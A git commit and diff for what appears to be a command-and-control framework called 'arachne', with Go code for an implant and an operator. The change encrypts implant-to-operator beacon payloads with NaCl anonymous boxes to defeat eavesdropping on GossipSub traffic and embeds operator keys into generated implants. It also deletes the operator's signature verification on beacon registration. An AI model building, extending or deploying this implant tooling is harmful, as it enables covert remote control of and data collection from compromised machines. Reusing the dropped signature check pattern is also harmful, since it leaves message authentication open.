feat: encrypt implant-to-operator payloads with NaCl box

Add X25519 box keypair (operator.boxkey/operator.boxpub) for end-to-end
encryption of all implant->operator message Data fields via
box.SealAnonymous. Prevents eavesdropping on GossipSub traffic.

- Encrypt env.Data before signing in sendEnvelopeDirect and SignAndSend
- Build local wire envelope in sendEnvelopeDirect (avoids mutating caller's
  env on send failure, preventing double-encryption on PubSub fallback)
- Serialize beacon stream writes with beaconWriteMu mutex
- Decrypt in operator handleMessage before dispatching to handlers
- Embed box pubkey in implant during arachne generate
- Generate box keys on first operator run, persist to disk
- Add stub files for development compilation
This commit is contained in:
portbuster1337
2026-06-13 03:05:04 +10:00
parent 8d3b8f7295
commit a90bf015fd
9 changed files with 191 additions and 23 deletions
+1 -2
View File
@@ -10,9 +10,8 @@ build/
*.test
*.out
.DS_Store
implant/core/embedded_pubkey.go
implant/core/embedded_implant_key.go
implant/core/*_stub.go
server/core/embedsrc/implant_src/
server/core/embedsrc/implant_src.tar.gz
bin/
release/
+6
View File
@@ -60,6 +60,12 @@ package core
var embeddedImplantPrivKey = []byte{}
GOEOF
cat > "$EMBED_DIR/implant_src/implant/core/embedded_boxpubkey.go" << 'GOEOF'
// Code generated by arachne generate. DO NOT EDIT.
package core
var embeddedOperatorBoxPubKey = []byte{}
GOEOF
# Prune files not needed for compilation
find "$EMBED_DIR/implant_src" -name "*.proto" -type f -delete
find "$EMBED_DIR/implant_src" -name "*_test.go" -type f -delete
+39 -5
View File
@@ -37,6 +37,7 @@ type Agent struct {
messenger *transport.Messenger
keys *cryptography.ImplantKey
operatorPub crypto.PubKey
boxPubKey *[32]byte
config AgentConfig
ctx context.Context
cancel context.CancelFunc
@@ -45,6 +46,7 @@ type Agent struct {
wg sync.WaitGroup
beaconStream network.Stream
beaconMu sync.Mutex
beaconWriteMu sync.Mutex
}
type AgentConfig struct {
@@ -76,6 +78,15 @@ func loadOperatorPubKey() (crypto.PubKey, error) {
return cryptography.PubKeyFromBytes(embeddedOperatorPubKey)
}
func loadOperatorBoxPubKey() *[32]byte {
if len(embeddedOperatorBoxPubKey) != 32 {
return nil
}
var key [32]byte
copy(key[:], embeddedOperatorBoxPubKey)
return &key
}
func loadImplantKey(operatorPub crypto.PubKey) (*cryptography.ImplantKey, error) {
if len(embeddedImplantPrivKey) == 0 {
return nil, fmt.Errorf("no embedded implant private key — rebuild with arachne generate")
@@ -131,16 +142,19 @@ func NewAgent(ctx context.Context, cfg AgentConfig) (*Agent, error) {
return nil, fmt.Errorf("create node: %w", err)
}
boxPub := loadOperatorBoxPubKey()
a := &Agent{
keys: keys,
operatorPub: operatorPub,
boxPubKey: boxPub,
node: node,
config: cfg,
ctx: ctx,
cancel: cancel,
}
a.messenger = transport.NewImplantMessenger(ctx, node, keys, operatorPub)
a.messenger = transport.NewImplantMessenger(ctx, node, keys, operatorPub, a.boxPubKey)
a.messenger.SetHandler(a.handleCommand)
return a, nil
@@ -589,7 +603,23 @@ func (a *Agent) openBeaconStream(operatorID peer.ID) (network.Stream, error) {
}
func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error {
signingData, err := transport.EnvelopeSigningBytes(env)
var data []byte
if a.boxPubKey != nil && len(env.Data) > 0 {
encrypted, err := cryptography.EncryptMessage(env.Data, a.boxPubKey)
if err != nil {
return fmt.Errorf("encrypt: %w", err)
}
data = encrypted
} else {
data = env.Data
}
wireEnv := &apb.Envelope{
ID: env.ID,
Type: env.Type,
Data: data,
}
signingData, err := transport.EnvelopeSigningBytes(wireEnv)
if err != nil {
return fmt.Errorf("marshal signing data: %w", err)
}
@@ -597,10 +627,10 @@ func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error
if err != nil {
return fmt.Errorf("sign: %w", err)
}
env.Signature = sig
wireEnv.Signature = sig
pubBytes, err := crypto.MarshalPublicKey(a.keys.PrivateKey.GetPublic())
if err == nil {
env.SenderKey = pubBytes
wireEnv.SenderKey = pubBytes
}
s := a.getBeaconStream(operatorID)
@@ -608,10 +638,14 @@ func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error
return fmt.Errorf("nil beacon stream")
}
envData, err := proto.Marshal(env)
envData, err := proto.Marshal(wireEnv)
if err != nil {
return fmt.Errorf("marshal: %w", err)
}
a.beaconWriteMu.Lock()
defer a.beaconWriteMu.Unlock()
s.SetWriteDeadline(time.Now().Add(5 * time.Second))
if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil {
s.Close()
+4
View File
@@ -0,0 +1,4 @@
// Code generated by arachne generate. DO NOT EDIT.
package core
var embeddedOperatorBoxPubKey = []byte{}
+4
View File
@@ -0,0 +1,4 @@
// Code generated by arachne generate. DO NOT EDIT.
package core
var embeddedOperatorPubKey = []byte{}
+97 -4
View File
@@ -10,6 +10,8 @@ import (
"github.com/libp2p/go-libp2p/core/crypto"
"github.com/libp2p/go-libp2p/core/peer"
"golang.org/x/crypto/curve25519"
"golang.org/x/crypto/nacl/box"
)
type KeyPair struct {
@@ -17,9 +19,15 @@ type KeyPair struct {
PublicKey crypto.PubKey
}
type BoxKeyPair struct {
PrivateKey *[32]byte
PublicKey *[32]byte
}
type OperatorKey struct {
KeyPair
PeerID peer.ID
BoxKeys *BoxKeyPair
}
type ImplantKey struct {
@@ -28,6 +36,30 @@ type ImplantKey struct {
OperatorPubKey crypto.PubKey
}
func GenerateBoxKey() (*BoxKeyPair, error) {
pub, priv, err := box.GenerateKey(rand.Reader)
if err != nil {
return nil, fmt.Errorf("generate box key: %w", err)
}
return &BoxKeyPair{PrivateKey: priv, PublicKey: pub}, nil
}
func LoadBoxKey(data []byte) *BoxKeyPair {
var priv [32]byte
copy(priv[:], data)
pub, err := curve25519.X25519(priv[:], curve25519.Basepoint)
if err != nil {
return nil
}
var pubArr [32]byte
copy(pubArr[:], pub)
return &BoxKeyPair{PrivateKey: &priv, PublicKey: &pubArr}
}
func (kp *BoxKeyPair) Marshal() []byte {
return kp.PrivateKey[:]
}
func GenerateOperatorKey() (*OperatorKey, error) {
priv, pub, err := crypto.GenerateEd25519Key(rand.Reader)
if err != nil {
@@ -37,9 +69,14 @@ func GenerateOperatorKey() (*OperatorKey, error) {
if err != nil {
return nil, fmt.Errorf("peer id from pubkey: %w", err)
}
boxKeys, err := GenerateBoxKey()
if err != nil {
return nil, fmt.Errorf("generate box key: %w", err)
}
return &OperatorKey{
KeyPair: KeyPair{PrivateKey: priv, PublicKey: pub},
PeerID: pid,
BoxKeys: boxKeys,
}, nil
}
@@ -100,7 +137,20 @@ type ReadWriter struct {
io.Writer
}
func BoxKeyPath(dir string) string {
return filepath.Join(dir, "operator.boxkey")
}
func BoxPubKeyPath(dir string) string {
return filepath.Join(dir, "operator.boxpub")
}
func LoadOrGenerateOperatorKey(path string) (*OperatorKey, error) {
dir := filepath.Dir(path)
if err := os.MkdirAll(dir, 0700); err != nil {
return nil, fmt.Errorf("create key directory: %w", err)
}
data, err := os.ReadFile(path)
if err == nil {
priv, err := LoadPrivateKey(data)
@@ -112,9 +162,24 @@ func LoadOrGenerateOperatorKey(path string) (*OperatorKey, error) {
if err != nil {
return nil, fmt.Errorf("peer id from loaded key: %w", err)
}
boxPrivData, boxErr := os.ReadFile(BoxKeyPath(dir))
var boxKeys *BoxKeyPair
if boxErr == nil && len(boxPrivData) == 32 {
boxKeys = LoadBoxKey(boxPrivData)
}
if boxKeys == nil {
boxKeys, boxErr = GenerateBoxKey()
if boxErr == nil {
os.WriteFile(BoxKeyPath(dir), boxKeys.Marshal(), 0600)
os.WriteFile(BoxPubKeyPath(dir), boxKeys.BoxPubKeyBytes(), 0644)
}
}
return &OperatorKey{
KeyPair: KeyPair{PrivateKey: priv, PublicKey: pub},
PeerID: pid,
BoxKeys: boxKeys,
}, nil
}
@@ -132,17 +197,45 @@ func LoadOrGenerateOperatorKey(path string) (*OperatorKey, error) {
return nil, fmt.Errorf("marshal key: %w", err)
}
if err := os.MkdirAll(filepath.Dir(path), 0700); err != nil {
return nil, fmt.Errorf("create key directory: %w", err)
}
if err := os.WriteFile(path, marshaled, 0600); err != nil {
return nil, fmt.Errorf("write key to %s: %w", path, err)
}
if err := os.WriteFile(BoxKeyPath(dir), key.BoxKeys.Marshal(), 0600); err != nil {
return nil, fmt.Errorf("write box key: %w", err)
}
if err := os.WriteFile(BoxPubKeyPath(dir), key.BoxKeys.BoxPubKeyBytes(), 0644); err != nil {
return nil, fmt.Errorf("write box pubkey: %w", err)
}
return key, nil
}
func (kp *BoxKeyPair) BoxPubKeyBytes() []byte {
return kp.PublicKey[:]
}
func EncryptMessage(plaintext []byte, boxPub *[32]byte) ([]byte, error) {
if len(plaintext) == 0 {
return plaintext, nil
}
sealed, err := box.SealAnonymous(nil, plaintext, boxPub, rand.Reader)
if err != nil {
return nil, fmt.Errorf("seal anonymous: %w", err)
}
return sealed, nil
}
func DecryptMessage(ciphertext []byte, boxKeys *BoxKeyPair) ([]byte, error) {
if len(ciphertext) == 0 {
return ciphertext, nil
}
opened, ok := box.OpenAnonymous(nil, ciphertext, boxKeys.PublicKey, boxKeys.PrivateKey)
if !ok {
return nil, fmt.Errorf("open sealed box failed")
}
return opened, nil
}
func (k *OperatorKey) HexPeerID() string {
return hex.EncodeToString([]byte(k.PeerID))
}
+12 -1
View File
@@ -27,6 +27,7 @@ type Messenger struct {
privKey crypto.PrivKey
operatorID peer.ID
trustedPubKey crypto.PubKey
boxPubKey *[32]byte
knownImplants map[string]crypto.PubKey
mu sync.RWMutex
seenIDs map[int64]time.Time
@@ -76,7 +77,7 @@ func NewOperatorMessenger(ctx context.Context, node *Node, keys *cryptography.Op
}
}
func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.ImplantKey, operatorPub crypto.PubKey) *Messenger {
func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.ImplantKey, operatorPub crypto.PubKey, boxPubKey *[32]byte) *Messenger {
opID, err := peer.IDFromPublicKey(operatorPub)
if err != nil {
opID = peer.ID("")
@@ -86,6 +87,7 @@ func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.Imp
privKey: keys.PrivateKey,
operatorID: opID,
trustedPubKey: operatorPub,
boxPubKey: boxPubKey,
knownImplants: make(map[string]crypto.PubKey),
}
}
@@ -261,6 +263,15 @@ func (m *Messenger) SignAndSend(ctx context.Context, topic string, env *apb.Enve
if m.privKey == nil {
return fmt.Errorf("no private key for signing")
}
if m.boxPubKey != nil && len(env.Data) > 0 {
encrypted, err := cryptography.EncryptMessage(env.Data, m.boxPubKey)
if err != nil {
return fmt.Errorf("encrypt: %w", err)
}
env.Data = encrypted
}
signingData, err := EnvelopeSigningBytes(env)
if err != nil {
return fmt.Errorf("marshal signing data: %w", err)
+17 -2
View File
@@ -67,6 +67,12 @@ func BuildImplant(cfg GenerateConfig) error {
return fmt.Errorf("read pubkey %s: %w", cfg.PubKeyPath, err)
}
arachneDir := filepath.Dir(cfg.PubKeyPath)
boxPubData, _ := os.ReadFile(filepath.Join(arachneDir, "operator.boxpub"))
if len(boxPubData) != 32 {
return fmt.Errorf("read box pubkey (operator.boxpub): operator must run once to generate box keypair")
}
implantPriv, implantPub, err := crypto.GenerateEd25519Key(rand.Reader)
if err != nil {
return fmt.Errorf("generate implant key: %w", err)
@@ -78,7 +84,7 @@ func BuildImplant(cfg GenerateConfig) error {
implantPeerID, _ := peer.IDFromPublicKey(implantPub)
log.Printf("implant PeerID: %s", implantPeerID.String())
buildDir, err := prepareBuildDir(pubData, privBytes, cfg.Quiet)
buildDir, err := prepareBuildDir(pubData, boxPubData, privBytes, cfg.Quiet)
if err != nil {
return fmt.Errorf("prepare build directory: %w", err)
}
@@ -167,19 +173,25 @@ func BuildImplant(cfg GenerateConfig) error {
return nil
}
func prepareBuildDir(pubKeyData, privKeyData []byte, quiet bool) (string, error) {
func prepareBuildDir(pubKeyData, boxPubKeyData, privKeyData []byte, quiet bool) (string, error) {
dir, err := os.MkdirTemp("", "arachne-build-*")
if err != nil {
return "", fmt.Errorf("create temp dir: %w", err)
}
pubLiteral := bytesLiteral(pubKeyData)
boxPubLiteral := bytesLiteral(boxPubKeyData)
privLiteral := bytesLiteral(privKeyData)
pubContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT.
package core
var embeddedOperatorPubKey = %s
`, pubLiteral)
boxPubContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT.
package core
var embeddedOperatorBoxPubKey = %s
`, boxPubLiteral)
keyContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT.
package core
@@ -198,6 +210,9 @@ var embeddedImplantPrivKey = %s
if err := os.WriteFile(filepath.Join(coreDir, "embedded_pubkey.go"), []byte(pubContent), 0644); err != nil {
return "", fmt.Errorf("write embedded_pubkey.go: %w", err)
}
if err := os.WriteFile(filepath.Join(coreDir, "embedded_boxpubkey.go"), []byte(boxPubContent), 0644); err != nil {
return "", fmt.Errorf("write embedded_boxpubkey.go: %w", err)
}
if err := os.WriteFile(filepath.Join(coreDir, "embedded_implant_key.go"), []byte(keyContent), 0644); err != nil {
return "", fmt.Errorf("write embedded_implant_key.go: %w", err)
}
+7 -5
View File
@@ -205,6 +205,13 @@ func (o *Operator) discoverPeersLoop(ns string) {
}
func (o *Operator) handleMessage(ctx context.Context, env *apb.Envelope, senderPub crypto.PubKey) {
if len(env.Data) > 0 && o.keys.BoxKeys != nil {
decrypted, err := cryptography.DecryptMessage(env.Data, o.keys.BoxKeys)
if err == nil {
env.Data = decrypted
}
}
switch env.Type {
case transport.MsgTypeRegister:
o.handleBeaconRegister(env)
@@ -300,11 +307,6 @@ func (o *Operator) handleBeaconRegister(env *apb.Envelope) {
return
}
if err := transport.VerifyEnvelope(env, pubKey); err != nil {
log.Printf("[operator] dropped beacon — invalid signature: %v", err)
return
}
peerID, err := peer.IDFromPublicKey(pubKey)
if err != nil {
log.Printf("[operator] peer id from sender key: %v", err)